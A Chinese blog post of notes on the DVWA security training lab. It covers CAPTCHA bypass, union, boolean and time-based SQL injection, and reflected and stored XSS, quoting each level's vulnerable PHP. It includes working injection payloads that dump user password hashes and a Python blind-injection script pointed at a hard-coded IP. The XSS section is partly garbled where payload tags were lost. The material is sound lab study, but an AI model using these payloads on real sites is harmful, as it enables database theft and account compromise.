echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; 
} 
} 

// Generate Anti-CSRF token 
generateSessionToken(); 

?>

该级别的代码对上传文件进行了重命名(为md5值,导致%00截断无法绕过过滤规则),加入Anti-CSRF token防护CSRF攻击,同时对文件的内容作了严格的检查,导致攻击者无法上传含有恶意脚本的文件。

七:Insecure CAPTCHA

reCAPTCHA验证流程

这一模块的验证码使用的是Google提供reCAPTCHA服务,下图是验证的具体流程。

服务器通过调用recaptcha_check_answer函数检查用户输入的正确性。

recaptcha_check_answer($privkey,$remoteip, $challenge,$response)

low:

<?php 

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) { 
// Hide the CAPTCHA form 
$hide_form = true; 

// Get input 
$pass_new  = $_POST[ 'password_new' ]; 
$pass_conf = $_POST[ 'password_conf' ]; 

// Check CAPTCHA from 3rd party 
$resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], 
$_SERVER[ 'REMOTE_ADDR' ], 
$_POST[ 'recaptcha_challenge_field' ], 
$_POST[ 'recaptcha_response_field' ] ); 

// Did the CAPTCHA fail? 
if( !$resp->is_valid ) { 
// What happens when the CAPTCHA was entered incorrectly 
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; 
$hide_form = false; 
return; 
} 
else { 
// CAPTCHA was correct. Do both new passwords match? 
if( $pass_new == $pass_conf ) { 
// Show next stage for the user 
echo " 
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre> 
<form action=\"#\" method=\"POST\"> 
<input type=\"hidden\" name=\"step\" value=\"2\" /> 
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" /> 
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" /> 
<input type=\"submit\" name=\"Change\" value=\"Change\" /> 
</form>"; 
} 
else { 
// Both new passwords do not match. 
$html .= "<pre>Both passwords must match.</pre>"; 
$hide_form = false; 
} 
} 
} 

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { 
// Hide the CAPTCHA form 
$hide_form = true; 

// Get input 
$pass_new  = $_POST[ 'password_new' ]; 
$pass_conf = $_POST[ 'password_conf' ]; 

// Check to see if both password match 
if( $pass_new == $pass_conf ) { 
// They do! 
$pass_new = mysql_real_escape_string( $pass_new ); 
$pass_new = md5( $pass_new ); 

// Update database 
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); 

// Feedback for the end user 
echo "<pre>Password Changed.</pre>"; 
} 
else { 
// Issue with the passwords matching 
echo "<pre>Passwords did not match.</pre>"; 
$hide_form = false; 
} 

mysql_close(); 
} 

?>

通过构造参数绕过验证过程的第一步
首先输入密码,点击Change按钮,抓包,更改step参数=2绕过验证码

Medium:

<?php 

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) { 
// Hide the CAPTCHA form 
$hide_form = true; 

// Get input 
$pass_new  = $_POST[ 'password_new' ]; 
$pass_conf = $_POST[ 'password_conf' ]; 

// Check CAPTCHA from 3rd party 
$resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], 
$_SERVER[ 'REMOTE_ADDR' ], 
$_POST[ 'recaptcha_challenge_field' ], 
$_POST[ 'recaptcha_response_field' ] ); 

// Did the CAPTCHA fail? 
if( !$resp->is_valid ) { 
// What happens when the CAPTCHA was entered incorrectly 
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; 
$hide_form = false; 
return; 
} 
else { 
// CAPTCHA was correct. Do both new passwords match? 
if( $pass_new == $pass_conf ) { 
// Show next stage for the user 
echo " 
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre> 
<form action=\"#\" method=\"POST\"> 
<input type=\"hidden\" name=\"step\" value=\"2\" /> 
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" /> 
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" /> 
<input type=\"hidden\" name=\"passed_captcha\" value=\"true\" /> 
<input type=\"submit\" name=\"Change\" value=\"Change\" /> 
</form>"; 
} 
else { 
// Both new passwords do not match. 
$html .= "<pre>Both passwords must match.</pre>"; 
$hide_form = false; 
} 
} 
} 

if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { 
// Hide the CAPTCHA form 
$hide_form = true; 

// Get input 
$pass_new  = $_POST[ 'password_new' ]; 
$pass_conf = $_POST[ 'password_conf' ]; 

// Check to see if they did stage 1 
if( !$_POST[ 'passed_captcha' ] ) { 
$html .= "<pre><br />You have not passed the CAPTCHA.</pre>"; 
$hide_form = false; 
return; 
} 

// Check to see if both password match 
if( $pass_new == $pass_conf ) { 
// They do! 
$pass_new = mysql_real_escape_string( $pass_new ); 
$pass_new = md5( $pass_new ); 

// Update database 
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; 
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); 

// Feedback for the end user 
echo "<pre>Password Changed.</pre>"; 
} 
else { 
// Issue with the passwords matching 
echo "<pre>Passwords did not match.</pre>"; 
$hide_form = false; 
} 

mysql_close(); 
} 

?>

Medium级别的代码在第二步验证时,参加了对参数passed_captcha的检查,如果参数值为true,则认为用户已经通过了验证码检查,然而用户依然可以通过伪造参数绕过验证,本质上来说,这与Low级别的验证没有任何区别。
可以通过抓包,更改step参数,增加passed_captcha参数,绕过验证码
&passed_captcha=true

High:

<?php 

if( isset( $_POST[ 'Change' ] ) ) { 
// Hide the CAPTCHA form 
$hide_form = true; 

// Get input 
$pass_new  = $_POST[ 'password_new' ]; 
$pass_conf = $_POST[ 'password_conf' ]; 

// Check CAPTCHA from 3rd party 
$resp = recaptcha_check_answer( $_DVWA[ 'recaptcha_private_key' ], 
$_SERVER[ 'REMOTE_ADDR' ], 
$_POST[ 'recaptcha_challenge_field' ], 
$_POST[ 'recaptcha_response_field' ] ); 

// Did the CAPTCHA fail? 
if( !$resp->is_valid && ( $_POST[ 'recaptcha_response_field' ] != 'hidd3n_valu3' || $_SERVER[ 'HTTP_USER_AGENT' ] != 'reCAPTCHA' ) ) { 
// What happens when the CAPTCHA was entered incorrectly 
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>"; 
$hide_form = false; 
return; 
} 
else { 
// CAPTCHA was correct. Do both new passwords match? 
if( $pass_new == $pass_conf ) { 
$pass_new = mysql_real_escape_string( $pass_new ); 
$pass_new = md5( $pass_new ); 

// Update database 
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;"; 
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); 

// Feedback for user 
echo "<pre>Password Changed.</pre>"; 
} 
else { 
// Ops. Password mismatch 
$html .= "<pre>Both passwords must match.</pre>"; 
$hide_form = false; 
} 
} 

mysql_close(); 
} 
// Generate Anti-CSRF token 
generateSessionToken(); 

?>

可以看到,服务器的验证逻辑是当$resp(这里是指谷歌返回的验证结果)是false,并且参数recaptcha_response_field不等于hidd3n_valu3(或者http包头的User-Agent参数不等于reCAPTCHA)时,就认为验证码输入错误,反之则认为已经通过了验证码的检查。
更改参数recaptcha_response_field以及http包头的User-Agent:等于reCAPTCHA

impossible:
该级别代码未发现漏洞

八:SQL Injection(SQL注入)

通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

手工注入(非盲注)的步骤。

1.判断是否存在注入,注入是字符型还是数字型

2.猜解SQL查询语句中的字段数

3.确定显示的字段顺序

4.获取当前数据库

5.获取数据库中的表

6.获取表中的字段名

7.下载数据

Low:

<?php 

if( isset( $_REQUEST[ 'Submit' ] ) ) { 
// Get input 
$id = $_REQUEST[ 'id' ]; 

// Check database 
$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); 

// Get results 
$num = mysql_numrows( $result ); 
$i   = 0; 
while( $i < $num ) { 
// Get values 
$first = mysql_result( $result, $i, "first_name" ); 
$last  = mysql_result( $result, $i, "last_name" ); 

// Feedback for end user 
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 

// Increase loop count 
$i++; 
} 

mysql_close(); 
} 

?>

1.


2.猜解SQL查询语句中的字段数
union select 1,2,3
3.确定显示的字段顺序
1′ union select 1,2 #
4.获取当前数据库

输入1′ union select 1,database() #,
5.获取数据库中的表

输入1′ union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,
6.获取表中的字段名

输入1′ union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’ #
7.下载数据

输入1′ or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
的数据

得到了users表中所有用户的user_id,first_name,last_name,password的数据。

Medium:

<?php

if( isset( $_POST[ ‘Submit’ ] ) ) {
// Get input
$id = $_POST[ ‘id’ ];
$id = mysql_real_escape_string( $id );

// Check database 
$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; 
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); 

// Get results 
$num = mysql_numrows( $result ); 
$i   = 0; 
while( $i < $num ) { 
    // Display values 
    $first = mysql_result( $result, $i, "first_name" ); 
    $last  = mysql_result( $result, $i, "last_name" ); 

    // Feedback for end user 
    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 

    // Increase loop count 
    $i++; 
} 

//mysql_close(); 

}

?>

区别代码:

$id = mysql_real_escape_string( $id );

Medium级别的代码利用mysql_real_escape_string函数对特殊符号\x00,\n,\r,\,’,”,\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入
依然可以通过抓包改参数,提交恶意构造的查询参数。
1.判断是否存在注入,注入是字符型还是数字型
1.id为1 or 1=1 #

查询成功

2.猜解SQL查询语句中的字段数

抓包更改参数id为1 order by 2 #,查询成功:
抓包更改参数id为1 order by 3 #,报错:说明执行的SQL查询语句中只有两个字段,即这里的First name、Surname。

3.确定显示的字段顺序

抓包更改参数id为1 union select 1,2 #,查询成功:
说明执行的SQL语句为select First name,Surname from 表 where ID=id…

4.获取当前数据库

抓包更改参数id为1 union select 1,database() #,查询成功:
说明当前的数据库为dvwa。

5.获取数据库中的表

抓包更改参数id为1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #,查询成功:

说明数据库dvwa中一共有两个表,guestbook与users。

6.获取表中的字段名

抓包更改参数id为1 union select 1,group_concat(column_name) from information_schema.columns where table_name=’users ’#,查询失败:

这是因为单引号被转义了,变成了\’。

可以利用16进制进行绕过,抓包更改参数id为1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0×7573657273 #,查询成功:

说明users表中有8个字段,分别是user_id,first_name,last_name,user,password,avatar,last_login,failed_login。

7.得到数据

抓包修改参数id为1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #,查询成功:

这样就得到了users表中所有用户的user_id,first_name,last_name,password的数据。

High:

<?php

if( isset( $_SESSION [ ‘id’ ] ) ) {
// Get input
$id = $_SESSION[ ‘id’ ];

// Check database 
$query  = "SELECT first_name, last_name FROM users WHERE user_id = $id LIMIT 1;"; 
$result = mysql_query( $query ) or die( '<pre>Something went wrong.</pre>' ); 

// Get results 
$num = mysql_numrows( $result ); 
$i   = 0; 
while( $i < $num ) { 
    // Get values 
    $first = mysql_result( $result, $i, "first_name" ); 
    $last  = mysql_result( $result, $i, "last_name" ); 

    // Feedback for end user 
    echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>"; 

    // Increase loop count 
    $i++; 
} 

mysql_close(); 

}

?>

与Medium级别的代码相比,High级别的只是在SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。

$query = “SELECT first_name, last_name FROM users WHERE user_id = $id LIMIT 1;”;

虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。
输入1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #

Impossible:
Impossible级别的代码采用了PDO技术,暂时不会

SQLmap注入方法注入dvwa

九:SQL Injection(Blind)

手工盲注的步骤(可与之前的手工注入作比较):

1.判断是否存在注入,注入是字符型还是数字型

2.猜解当前数据库名

3.猜解数据库中的表名

4.猜解表中的字段名

5.猜解数据

Low:

<?php

if( isset( $_GET[ ‘Submit’ ] ) ) {
// Get input
$id = $_GET[ ‘id’ ];

// Check database 
$getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"; 
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors 

// Get results 
$num = @mysql_numrows( $result ); // The '@' character suppresses errors 
if( $num > 0 ) { 
    // Feedback for end user 
    echo '<pre>User ID exists in the database.</pre>'; 
} 
else { 
    // User wasn't found, so the page wasn't! 
    header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); 

    // Feedback for end user 
    echo '<pre>User ID is MISSING from the database.</pre>'; 
} 

mysql_close(); 

}

?>

Low级别的代码对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞,同时SQL语句查询返回的结果只有两种

基于布尔的盲注:
1.判断是否存在注入,注入是字符型还是数字型
输入1,显示相应用户存在:
输入1’ and 1=1 #,显示存在:
输入1’ and 1=2 #,显示不存在:
说明存在字符型的SQL盲注。
2.猜解当前数据库名

想要猜解数据库名,首先要猜解数据库名的长度,然后挨个猜解字符。

输入1’ and length(database())=1 #,显示不存在;

输入1’ and length(database())=2 #,显示不存在;

输入1’ and length(database())=3 #,显示不存在;

输入1’ and length(database())=4 #,显示存在:

说明数据库名长度为4。

下面采用二分法猜解数据库名。

输入1’ and ascii(substr(databse(),1,1))>97 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);

输入1’ and ascii(substr(databse(),1,1))<122 #,显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);

输入1’ and ascii(substr(databse(),1,1))<109 #,显示存在,说明数据库名的第一个字符的ascii值小于109(小写字母m的ascii值);

输入1’ and ascii(substr(databse(),1,1))<103 #,显示存在,说明数据库名的第一个字符的ascii值小于103(小写字母g的ascii值);

输入1’ and ascii(substr(databse(),1,1))<100 #,显示不存在,说明数据库名的第一个字符的ascii值不小于100(小写字母d的ascii值);

输入1’ and ascii(substr(databse(),1,1))>100 #,显示不存在,说明数据库名的第一个字符的ascii值不大于100(小写字母d的ascii值),所以数据库名的第一个字符的ascii值为100,即小写字母d。

…

重复上述步骤,就可以猜解出完整的数据库名(dvwa)了。
3.猜解数据库中的表名

首先猜解数据库中表的数量:

1’ and (select count (table_name) from information_schema.tables where table_schema=database())=1 # 显示不存在

1’ and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 显示存在

说明数据库中共有两个表。

接着挨个猜解表名:

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 显示不存在

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 显示不存在

…

1’ and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在

说明第一个表名长度为9。

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在

1’ and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在

说明第一个表的名字的第一个字符为小写字母g。

重复上述步骤,即可猜解出两个表名(guestbook、users)。
4.猜解表中的字段名

首先猜解表中字段的数量:

1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=1 # 显示不存在

…

1’ and (select count(column_name) from information_schema.columns where table_name= ’users’)=8 # 显示存在

说明users表有8个字段。

接着挨个猜解字段名:

1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1 # 显示不存在

…

1’ and length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7 # 显示存在

说明users表的第一个字段为7个字符长度。

采用二分法,即可猜解出所有字段名。
5.猜解数据

同样采用二分法。

还可以使用基于时间的盲注:
1.判断是否存在注入,注入是字符型还是数字型

输入1’ and sleep(5) #,感觉到明显延迟;

输入1 and sleep(5) #,没有延迟;

说明存在字符型的基于时间的盲注。
2.猜解当前数据库名

首先猜解数据名的长度:

1’ and if(length(database())=1,sleep(5),1) # 没有延迟

1’ and if(length(database())=2,sleep(5),1) # 没有延迟

1’ and if(length(database())=3,sleep(5),1) # 没有延迟

1’ and if(length(database())=4,sleep(5),1) # 明显延迟

说明数据库名长度为4个字符。

接着采用二分法猜解数据库名:

1’ and if(ascii(substr(database(),1,1))>97,sleep(5),1)# 明显延迟

…

1’ and if(ascii(substr(database(),1,1))<100,sleep(5),1)# 没有延迟

1’ and if(ascii(substr(database(),1,1))>100,sleep(5),1)# 没有延迟

说明数据库名的第一个字符为小写字母d。

…

重复上述步骤,即可猜解出数据库名。
3.猜解数据库中的表名

首先猜解数据库中表的数量:

1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=1,sleep(5),1)# 没有延迟

1’ and if((select count(table_name) from information_schema.tables where table_schema=database() )=2,sleep(5),1)# 明显延迟

说明数据库中有两个表。

接着挨个猜解表名:

1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1,sleep(5),1) # 没有延迟

…

1’ and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) # 明显延迟

说明第一个表名的长度为9个字符。

采用二分法即可猜解出表名。
4.猜解表中的字段名

首先猜解表中字段的数量:

1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=1,sleep(5),1)# 没有延迟

…

1’ and if((select count(column_name) from information_schema.columns where table_name= ’users’)=8,sleep(5),1)# 明显延迟

说明users表中有8个字段。

接着挨个猜解字段名:

1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=1,sleep(5),1) # 没有延迟

…

1’ and if(length(substr((select column_name from information_schema.columns where table_name= ’users’ limit 0,1),1))=7,sleep(5),1) # 明显延迟

说明users表的第一个字段长度为7个字符。

采用二分法即可猜解出各个字段名。
5.猜解数据

同样采用二分法。太浪费时间了。推荐写python脚本

# -*-coding:utf-8-*-  
import requests  
import time

payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.{}-'
flag = ''
url = "http://222.18.158.243:4609/index.php"
print('test1')
for x in range(1,7):
for char in payloads:
starttime = time.time()
payload = {"id": "1 and if(substring(database(), "+str(x)+", 1)='"+char+"',sleep(6),1)#"}
rev = requests.get(url, cookies=cookies, params=payload)
if time.time() - starttime > 6:
flag += char
print('DatabaseName = '+flag)

Medium:

<?php 

if( isset( $_POST[ 'Submit' ]  ) ) { 
// Get input 
$id = $_POST[ 'id' ]; 
$id = mysql_real_escape_string( $id ); 

// Check database 
$getid  = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; 
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors 

// Get results 
$num = @mysql_numrows( $result ); // The '@' character suppresses errors 
if( $num > 0 ) { 
// Feedback for end user 
echo '<pre>User ID exists in the database.</pre>'; 
} 
else { 
// Feedback for end user 
echo '<pre>User ID is MISSING from the database.</pre>'; 
} 

//mysql_close(); 
} 

?> 

Medium级别的代码利用mysql_real_escape_string函数对特殊符号

\x00,\n,\r,\,’,”,\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。

基于布尔的盲注:

抓包改参数id为1 and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;

抓包改参数id为1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;

抓包改参数id为1 and (select count(column_name) from information_schema.columns where table_name= 0×7573657273)=8 #,(0×7573657273为users的16进制),显示存在,说明uers表有8个字段。

基于时间的盲注:

抓包改参数id为1 and if(length(database())=4,sleep(5),1) #,明显延迟,说明数据库名的长度为4个字符;

抓包改参数id为1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #,明显延迟,说明数据中的第一个表名长度为9个字符;

抓包改参数id为1 and if((select count(column_name) from information_schema.columns where table_name=0×7573657273 )=8,sleep(5),1) #,明显延迟,说明uers表有8个字段。

High:

<?php 

if( isset( $_COOKIE[ 'id' ] ) ) { 
// Get input 
$id = $_COOKIE[ 'id' ]; 

// Check database 
$getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; 
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors 

// Get results 
$num = @mysql_numrows( $result ); // The '@' character suppresses errors 
if( $num > 0 ) { 
// Feedback for end user 
echo '<pre>User ID exists in the database.</pre>'; 
} 
else { 
// Might sleep a random amount 
if( rand( 0, 5 ) == 3 ) { 
sleep( rand( 2, 4 ) ); 
} 

// User wasn't found, so the page wasn't! 
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); 

// Feedback for end user 
echo '<pre>User ID is MISSING from the database.</pre>'; 
} 

mysql_close(); 
} 

?>

可以看到,High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。
漏洞利用

虽然添加了LIMIT 1,但是可以通过#将其注释掉。但由于服务器端执行sleep函数,会使得基于时间盲注的准确性受到影响,基于布尔的盲注:

抓包将cookie中参数id改为1’ and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;

抓包将cookie中参数id改为1’ and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;

抓包将cookie中参数id改为1’ and (select count(column_name) from information_schema.columns where table_name=0×7573657273)=8 #,(0×7573657273 为users的16进制),显示存在,说明uers表有8个字段。

Impossible

<?php 

if( isset( $_GET[ 'Submit' ] ) ) { 
// Check Anti-CSRF token 
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 

// Get input 
$id = $_GET[ 'id' ]; 

// Was a number entered? 
if(is_numeric( $id )) { 
// Check the database 
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' ); 
$data->bindParam( ':id', $id, PDO::PARAM_INT ); 
$data->execute(); 

// Get results 
if( $data->rowCount() == 1 ) { 
// Feedback for end user 
echo '<pre>User ID exists in the database.</pre>'; 
} 
else { 
// User wasn't found, so the page wasn't! 
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' ); 

// Feedback for end user 
echo '<pre>User ID is MISSING from the database.</pre>'; 
} 
} 
} 

// Generate Anti-CSRF token 
generateSessionToken(); 

?>

Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,Anti-CSRF token机制的加入了进一步提高了安全性。 基本无法注入。

十:反射型XSS

XSS,全称Cross Site Scripting,即跨站脚本攻击,某种意义上也是一种注入攻击,是指攻击者在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行,需要强调的是,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言。根据恶意代码是否存储在服务器中,XSS可以分为存储型的XSS与反射型的XSS。
推荐xss cheat sheet
xss漏洞检测指南


Low:

<?php 

// Is there any input? 

if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) { 

// Feedback for end user 

echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>'; 

} 

?>

无验证,直接注入

爆出cookie内容 ![](https://blog-1254419664.cos.ap-chengdu.myqcloud.com/backup/201710241848_956.png) Medium: ', '', $_GET[ 'name' ] ); // Feedback for end user echo "
Hello ${name}
"; } ?> 可以看到,这里对输入进行了过滤,基于黑名单的思想,使用str_replace函数将输入中的,成功弹框: ![](https://blog-1254419664.cos.ap-chengdu.myqcloud.com/backup/201710241856_385.png) 大小写混淆绕过 输入,成功弹框 High: Hello ${name}"; } ?> 可以看到,High级别的代码同样使用黑名单过滤输入,preg_replace() 函数用于正则表达式的搜索和替换,这使得双写绕过、大小写混淆绕过(正则表达式中i表示不区分大小写)不再有效。 绕过思路:标签很多,换一种标签即可。这里用img ![](https://blog-1254419664.cos.ap-chengdu.myqcloud.com/backup/201710241900_85.png) Impossible: Hello ${name}"; } // Generate Anti-CSRF token generateSessionToken(); ?> Impossible级别的代码使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为 HTML 实体,防止浏览器将其作为HTML元素。无法注入。 ### 十一:存储型XSS Low: ' . mysql_error() . '' ); //mysql_close(); } ?> stripslashes(string)函数删除字符串中的反斜杠。 可以看到,对输入并没有做XSS方面的过滤与检查,且存储在数据库中,因此这里存在明显的存储型XSS漏洞。 name一栏前端有字数限制,burp抓包改为

Medium

<?php 
if( isset( $_POST[ 'btnSign' ] ) ) { 
// Get input 
$message = trim( $_POST[ 'mtxMessage' ] ); 
$name= trim( $_POST[ 'txtName' ] ); 
// Sanitize message input 
$message = strip_tags( addslashes( $message ) ); 
$message = mysql_real_escape_string( $message ); 
$message = htmlspecialchars( $message ); 
// Sanitize name input 
$name = str_replace( '<script>', '', $name ); 
$name = mysql_real_escape_string( $name ); 
// Update database 
$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; 
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); 
//mysql_close(); 
} 
?>

查看源码发现Name只过滤了标签
strip_tags() 函数剥去字符串中的 HTML、XML 以及 PHP 的标签,但允许使用标签。
addslashes() 函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。
burp抓包改name参数为ript>alert(/xss/):
2.大小写混淆绕过
抓包改name参数为:
High

<?php 
if( isset( $_POST[ 'btnSign' ] ) ) { 
// Get input 
$message = trim( $_POST[ 'mtxMessage' ] ); 
$name= trim( $_POST[ 'txtName' ] ); 
// Sanitize message input 
$message = strip_tags( addslashes( $message ) ); 
$message = mysql_real_escape_string( $message ); 
$message = htmlspecialchars( $message ); 
// Sanitize name input 
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); 
$name = mysql_real_escape_string( $name ); 
// Update database 
$query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );"; 
$result = mysql_query( $query ) or die( '<pre>' . mysql_error() . '</pre>' ); 
//mysql_close(); 
} 
?>

$name = preg_replace( ‘/<(.)s(.)c(.)r(.)i(.)p(.)t/i’, ‘’, $name );
绕过思路:HTML页面修改Name的最大输入长度,注入Name,注入换一种标签,这里用img

Impossible

<?php 
if( isset( $_POST[ 'btnSign' ] ) ) { 
// Check Anti-CSRF token 
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); 
// Get input 
$message = trim( $_POST[ 'mtxMessage' ] ); 
$name= trim( $_POST[ 'txtName' ] ); 
// Sanitize message input 
$message = stripslashes( $message ); 
$message = mysql_real_escape_string( $message ); 
$message = htmlspecialchars( $message ); 
// Sanitize name input 
$name = stripslashes( $name ); 
$name = mysql_real_escape_string( $name ); 
$name = htmlspecialchars( $name ); 
// Update database 
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' ); 
$data->bindParam( ':message', $message, PDO::PARAM_STR ); 
$data->bindParam( ':name', $name, PDO::PARAM_STR ); 
$data->execute(); 
} 
// Generate Anti-CSRF token 
generateSessionToken(); 
?>

使用htmlspecialchars函数,解决了XSS


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可以在下面评论区评论,也可以邮件至 951207194@qq.com

文章标题:DVWA笔记

文章字数:0

本文作者:Mang0

发布时间:2017-11-22, 17:06:26

最后更新:2018-11-02, 21:52:12

原始链接:http://mang0.me/archis/18acffef/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
×

喜欢就点赞,疼爱就打赏